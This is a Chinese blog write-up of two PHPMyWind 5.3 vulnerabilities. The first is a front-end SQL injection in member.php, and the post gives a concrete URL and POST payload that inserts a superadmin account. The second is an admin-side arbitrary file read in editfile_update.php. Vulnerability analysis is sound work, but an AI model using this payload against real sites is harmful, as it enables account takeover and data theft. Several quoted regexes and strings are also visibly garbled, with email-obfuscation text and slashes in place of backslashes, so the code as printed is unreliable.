phpmywindV5.3最新漏洞合集(前台sql注入及后台任意文件遍历)

  • A+
所属分类:颓废's Blog
摘要

1.首先查看核心的文件,在include/common.inc.php中了解到了一些东西.直接贴代码吧。

0x01 关键代码分析

1.首先查看核心的文件,在include/common.inc.php中了解到了一些东西.直接贴代码吧。

//检查外部传递的值并转义 function _RunMagicQuotes(&$svar) {     //PHP5.4已经将此函数移除     if(@!get_magic_quotes_gpc())     {         if(is_array($svar))         {             foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);         }         else         {             if(strlen($svar)>0 &&                preg_match('#^(cfg_|GLOBALS|_GET|_POST|_SESSION|_COOKIE)#',$svar))             {                 exit('不允许请求的变量值!');             }              $svar = addslashes($svar);         }     }     return $svar; }   //直接应用变量名称替代 foreach(array('_GET','_POST') as $_request) {     foreach($$_request as $_k => $_v)     {         if(strlen($_k)>0 &&            preg_match('#^(GLOBALS|_GET|_POST|_SESSION|_COOKIE)#',$_k))         {             exit('不允许请求的变量名!');         }          ${$_k} = _RunMagicQuotes($_v);     } }

再看关键的sqlcheck部分。

//SQL语句过滤程序,由80sec提供,这里作了适当的修改     function CheckSql($sql, $querytype='select')     {         $clean   = '';         $error   = '';         $pos     = -1;         $old_pos = 0;           //如果是普通查询语句,直接过滤一些特殊语法         if($querytype == 'select')         {             if(preg_match('/[^[email protected]/._-]{1,}(union|sleep|benchmark|load_file|outfile)[^[email protected]/.-]{1,}/', $sql))             {                 $this->DisplayError("$sql||SelectBreak",1);             }         }          //完整的SQL检查         while(true)         {             $pos = strpos($sql, '/'', $pos + 1);             if($pos === false)             {                 break;             }             $clean .= substr($sql, $old_pos, $pos - $old_pos);              while(true)             {                 $pos1 = strpos($sql, '/'', $pos + 1);                 $pos2 = strpos($sql, '//', $pos + 1);                 if($pos1 === false)                 {                     break;                 }                 else if($pos2 == false || $pos2 > $pos1)                 {                     $pos = $pos1;                     break;                 }                 $pos = $pos2 + 1;             }              $clean .= '$s$';             $old_pos = $pos + 1;         }          $clean .= substr($sql, $old_pos);         $clean  = trim(strtolower(preg_replace(array('~/s+~s' ), array(' '), $clean)));          //老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它         if(strpos($clean, 'union') !== false && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)         {             $fail  = true;             $error = 'union detect';         }          //发布版本的程序可能比较少包括--,#这样的注释,但是黑客经常使用它们         else if(strpos($clean, '/*') > 2 || strpos($clean, '--') !== false || strpos($clean, '#') !== false)         {             $fail  = true;             $error = 'comment detect';         }          //这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库         else if(strpos($clean, 'sleep') !== false && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)         {             $fail  = true;             $error = 'slown down detect';         }         else if(strpos($clean, 'benchmark') !== false && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)         {             $fail  = true;             $error = 'slown down detect';         }         else if(strpos($clean, 'load_file') !== false && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)         {             $fail  = true;             $error = 'file fun detect';         }         else if(strpos($clean, 'into outfile') !== false && preg_match('~(^|[^a-z])into/s+outfile($|[^[a-z])~s', $clean) != 0)         {             $fail  = true;             $error = 'file fun detect';         }          //老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息         else if(preg_match('~/([^)]*?select~s', $clean) != 0)         {             $fail  = true;             $error = 'sub select detect';         }          if(!empty($fail))         {             $this->DisplayError("$sql,$error",1);         }         else         {             return $sql;         }   }

可以知道对代入sql语句的数据过滤还是比较全面的,加上前面的转义,所以说直接对网站从交互部分进行sql注入是比较难得

0x02 发现前台sql注入之写入管理员账号与利用
漏洞发现在member.php中

//完善账号 else if($a == 'perfect') {     //初始化参数     $username   = empty($username)   ? '' : $username;     $password   = empty($password)   ? '' : md5(md5($password));     $repassword = empty($repassword) ? '' : md5(md5($repassword));     $email      = empty($email)      ? '' : $email;       //验证输入数据     if($username == '' or        $password == '' or        $repassword == '' or        $email == '')     {         header('location:?c=perfect');         exit();     }       if($password != $repassword)     {         header('location:?c=perfect');         exit();     }       $uname_len = strlen($username);     $upwd_len  = strlen($_POST['password']);     if($uname_len<6 or $uname_len>16 or $upwd_len<6 or $upwd_len>16)     {         header('location:?c=perfect');         exit();     }      if(preg_match("/[^[email protected]!/.-]/",$username) or        preg_match("/[^0-9a-zA-Z_-]/",$password) or        !preg_match("/^[/w-]+(/.[/w-]+)*@[/w-]+(/.[/w-]+)+$/", $email))     {         header('location:?c=perfect');         exit();     }      $r = $dosql->GetOne("SELECT `id` FROM `#@__member` WHERE `username`='$username'");     if(isset($r['id']))     {         ShowMsg('用户名已存在!','-1');         exit();     }      $r = $dosql->GetOne("SELECT `id` FROM `#@__member` WHERE `email`='$email'");     if(isset($r['id']))     {         ShowMsg('您填写的邮箱已被注册!','-1');         exit();     }       //添加用户数据     $regtime  = time();     $regip    = GetIP();       if(check_app_login('qq'))     {       ...     }     else if(check_app_login('weibo'))     {         ...    }$dosql->ExecNoneQuery($sql);       //用绑定账号登录     $cookie_time = time()+3600;     setcookie('username',      AuthCode($username ,'ENCODE'), $cookie_time);     setcookie('lastlogintime', AuthCode($regtime  ,'ENCODE'), $cookie_time);     setcookie('lastloginip',   AuthCode($regip    ,'ENCODE'), $cookie_time);      ShowMsg('完善账号成功!','?c=default');     exit();  }

看添加用户那一块,注意 $dosql->ExecNoneQuery($sql); 这段语句是在if或者else if逻辑之外的,只要我们不是qq或者微博登录,就可以使用这个语句,再加上$sql可控,也就导致了语句可控。

再看$dosql->ExecNoneQuery($sql);  这是数据库语句,跟踪ExecNoneQuery()这个function

//执行一个不返回结果的SQL语句,如update,delete,insert等     function ExecNoneQuery($sql='')     {         global $dosql;      ....     }

可以看到该CMS作者提示说这是一个执行insert,delete,update的函数。

加上$sql可控,就想到写入一个具有管理员权限的账号。

漏洞利用
漏洞的触发条件:

1.$a == 'perfect'

2.$username,$password,$repassword,$email不为空

3.$password==$repassword

4.$username,$email是未被注册过的

5.非qq,微博直接登录

利用方法

注册一个账号,登陆后访问

http://127.0.0.1/PHPMyWind_5.3/member.php?a=perfect

然后post:

username=123tuifei&password=tuifeiseo&repassword=asdqwe&[email protected] &sql=insert into pmw_admin (`username`,`password`,`levelname`) values(12345,0x3166333261613463396131643265613031306164636632333438313636613034,1)

注意:

1.这里要求传入password(12345)为两次md5后的值,但是如果直接传入的话会报sql错误警告(有过滤),所以就直接将md5后的值在hex,就可以绕过过过滤。

2.levelname是用户权限等级,1表示超级管理员权限,若不加入则不能得到超级管理员权限。

这两个注意点也是我原先遇到的坑,后来看到一些师傅的文章才清楚。

最后12345 12345直接后台登录
写入成功!

phpmywindV5.3最新漏洞合集(前台sql注入及后台任意文件遍历)

0x03 后台任意文件遍历
文件 admin/editfile_update.php

if($action == 'update') {     if($cfg_editfile == 'Y')     {         //设置读取目录         $dir = PHPMYWIND_ROOT.'/';              //处理写入内容         $content = stripslashes($content);         $content = str_replace("##textarea","<textarea",$content);         $content = str_replace("##/textarea","</textarea",$content);         $content = str_replace("##form","<form",$content);         $content = str_replace("##/form","</form",$content);              //内容写入文件         Writef($dir.$filename, $content, 'w');          ShowMsg('文件保存成功!','editfile.php');         exit();     }     else     {         ShowMsg('后台不允许直接编辑PHP文件!','editfile.php');         exit();     } }   //显示编辑文件 if(!empty($filename)) {     //设置读取目录     $dir        = PHPMYWIND_ROOT.'/';     $filename   = iconv('utf-8', 'gb2312', $filename);     $gbfilename = mb_convert_encoding($filename, 'utf-8', 'gb2312');      if(file_exists($dir.$filename))     {         $content = '';         $fp = fopen($dir.$filename, 'r');

漏洞点  $fp = fopen($dir.$filename, 'r'); 

与上一个注入点相似,if($action == 'update'),只要不进入这个if就可以触发漏洞点。$dir为根目录,filename这里是可控的。

phpmywindV5.3最新漏洞合集(前台sql注入及后台任意文件遍历)

也就可以读取关键的配置文件了。

更多说明

原文作者:c1e4r

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: